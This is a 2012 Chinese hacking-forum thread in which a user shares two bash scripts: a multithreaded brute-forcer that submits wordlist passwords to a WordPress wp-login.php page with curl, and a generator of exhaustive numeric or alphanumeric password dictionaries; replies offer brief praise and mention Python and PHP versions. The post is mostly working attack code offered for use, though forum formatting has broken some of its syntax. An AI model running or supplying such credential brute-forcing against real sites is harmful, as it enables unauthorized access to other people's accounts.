# 刚来，丢两段代码

**URL:** <https://forum.90sec.com/t/topic/3737>\
**Category:** 工具资源\
**Created:** [2012 年6 月 16 日 16:17 UTC](https://forum.90sec.com/t/topic/3737 "2012-06-16T16:17:38Z")\
**Posts on this page:** 9\
**Page:** 1

<div class="post-metadata">

作者： ![leo108](https://forum.90sec.com/user_avatar/forum.90sec.com/leo108/32/11465_2.png) [@leo108](https://forum.90sec.com/u/leo108)\
发布日期： [2012 年6 月 16 日 16:17 UTC](https://forum.90sec.com/t/topic/3737/1 "2012-06-16T16:17:38Z")

</div>

话说论坛居然没有Shell的代码高亮  
1.多线程WordPress后台密码暴力破解#!/bin/bash  
#by leo108  
#使用方式：./wp-pwd.sh 用户名 字典 登录页面 线程数  
#例如: ./wp-pwd.sh leo 1.txt [http://xxx.com/wp-login.php](http://xxx.com/wp-login.php) 15  
user=$1  
zidian=$2  
url=$3  
thread=$4  
function guess {  
curl -s -d "log=$user&pwd=$1" $url \>\> $1.html  
l=$(wc -l $1.html| awk -F[:" "]+ '{print $1}')  
if [0 -eq $l]; then  
echo $1 \>\> pwd.txt  
rm $1.html  
return 1  
else  
rm $1.html  
return 0  
fi  
}  
if [-e pwd.txt]; then  
rm pwd.txt  
fi  
tmp\_fifofile="/tmp/$.fifo"  
mkfifo $tmp\_fifofile  
exec 6\<\>$tmp\_fifofile  
rm $tmp\_fifofile  
for ((i=0;i\<$thread;i++));  
do  
echo  
done \>&6  
while read line;do  
if [-e pwd.txt]; then  
break  
fi  
read -u6  
{  
echo "Testing "$line  
guess $line  
echo \>&6  
} &  
done \< $zidian  
wait  
exec 6\>&-  
if [-e pwd.txt]; then  
echo "Password is "  
cat pwd.txt  
rm pwd.txt  
else  
echo "Not Found"  
fi  
exit 02.字典生成工具#!/bin/bash  
#by leo108  
#使用方式：./genpwd.sh 密码类型 密码长度 生成文件  
#密码类型如果是1，则是数字+字母，如果是其他则是数字  
#例如./genpwd.sh 1 4 pwd.txt，生成长度为4的数字+字母密码  
type=$1  
length=$2  
f=$3  
if [$type -eq "1"]; then  
g\_Dict=( 0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v w x y z )  
else  
g\_Dict=( 0 1 2 3 4 5 6 7 8 9 )  
fi  
count=0  
total=1  
if [-e tmp.txt]; then  
rm tmp.txt  
fi  
for ((i=0;i\<$length;i++));  
do  
let "total\*=${#g\_Dict[@]}"  
done  
echo "Total:"$total  
declare -a Dict  
declare -a Array  
bStop=1  
for ((i=0;i\<$length;i++));  
do  
Array[$i]=0  
done  
while [$bStop != 0]; do  
for ((i=0;i\<$length;i++));  
do  
Dict[i]={g\_Dict[${Array[$i]}]}  
done  
echo ${Dict[@]} \>\> tmp.txt  
let "count+=1"  
let "tmp=count%10000"  
if [$tmp -eq 0]; then  
echo $count" Generated"  
fi  
for ((j=$length-1;j\>=0;j--));  
do  
let "Array[$j]+=1"  
if [{#g\_Dict[@]} -ne {Array[$j]} ]; then  
break  
else  
Array[$j]=0  
if [$j -eq 0]; then  
bStop=0  
fi  
fi  
done  
done  
sed -r 's/ +//g' tmp.txt \>\> $f  
echo "Finish"  
rm tmp.txt

---

<div class="post-metadata">

作者： ![90safe](https://forum.90sec.com/letter_avatar_proxy/v4/letter/9/f475e1/32.png) [@90safe](https://forum.90sec.com/u/90safe)\
发布日期： [2012 年6 月 16 日 16:39 UTC](https://forum.90sec.com/t/topic/3737/2 "2012-06-16T16:39:52Z")

</div>

大晚上的没人来...算了鸟、支持下、由于看不懂在写神马、就不评分了= =

---

<div class="post-metadata">

作者： ![leo108](https://forum.90sec.com/user_avatar/forum.90sec.com/leo108/32/11465_2.png) [@leo108](https://forum.90sec.com/u/leo108)\
发布日期： [2012 年6 月 16 日 16:41 UTC](https://forum.90sec.com/t/topic/3737/3 "2012-06-16T16:41:21Z")

</div>

\*\*回复 [2#](http://www.90sec.org/redirect.php?goto=findpost&pid=30808&ptid=2703) _90safe_ \*\*

```
相信90sec还是有人懂的……

```

---

<div class="post-metadata">

作者： ![lpcdma](https://forum.90sec.com/letter_avatar_proxy/v4/letter/l/13edae/32.png) [@lpcdma](https://forum.90sec.com/u/lpcdma)\
发布日期： [2012 年6 月 16 日 16:54 UTC](https://forum.90sec.com/t/topic/3737/4 "2012-06-16T16:54:35Z")

</div>

前几天拿了本shell编程的书看了几页看不进去！  
你这个东东还是勉强能看懂。。。。

---

<div class="post-metadata">

作者： ![Nc4](https://forum.90sec.com/user_avatar/forum.90sec.com/nc4/32/11363_2.png) [@Nc4](https://forum.90sec.com/u/Nc4)\
发布日期： [2012 年6 月 17 日 01:42 UTC](https://forum.90sec.com/t/topic/3737/5 "2012-06-17T01:42:29Z")

</div>

还行

您的帖子长度不符合要求。 当前长度: 4 字节系统限制: 5 到 20000 字节

---

<div class="post-metadata">

作者： ![L.N](https://forum.90sec.com/user_avatar/forum.90sec.com/l.n/32/11411_2.png) [@L.N](https://forum.90sec.com/u/L.N)\
发布日期： [2012 年6 月 17 日 02:32 UTC](https://forum.90sec.com/t/topic/3737/6 "2012-06-17T02:32:57Z")

</div>

都是你在Freebuf上发过的！

---

<div class="post-metadata">

作者： ![user45](https://forum.90sec.com/user_avatar/forum.90sec.com/user45/32/11400_2.png) [@user45](https://forum.90sec.com/u/user45)\
发布日期： [2012 年6 月 17 日 04:38 UTC](https://forum.90sec.com/t/topic/3737/7 "2012-06-17T04:38:42Z")

</div>

这个我写过python版本的 [http://huakai.paxmac.org/?p=168](http://huakai.paxmac.org/?p=168)

---

<div class="post-metadata">

作者： ![user\_deleted17](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/57b2e6/32.png) [@user\_deleted17](https://forum.90sec.com/u/user_deleted17)\
发布日期： [2012 年6 月 17 日 05:56 UTC](https://forum.90sec.com/t/topic/3737/8 "2012-06-17T05:56:46Z")

</div>

...  
我有PHP的

---

<div class="post-metadata">

作者： ![user45](https://forum.90sec.com/user_avatar/forum.90sec.com/user45/32/11400_2.png) [@user45](https://forum.90sec.com/u/user45)\
发布日期： [2012 年6 月 17 日 07:26 UTC](https://forum.90sec.com/t/topic/3737/9 "2012-06-17T07:26:16Z")

</div>

\*\*回复 [8#](http://www.90sec.org/redirect.php?goto=findpost&pid=30861&ptid=2703) _陈可逆_ \*\*

```
php是char写的吧,我就是看到php的才写的python版的

```
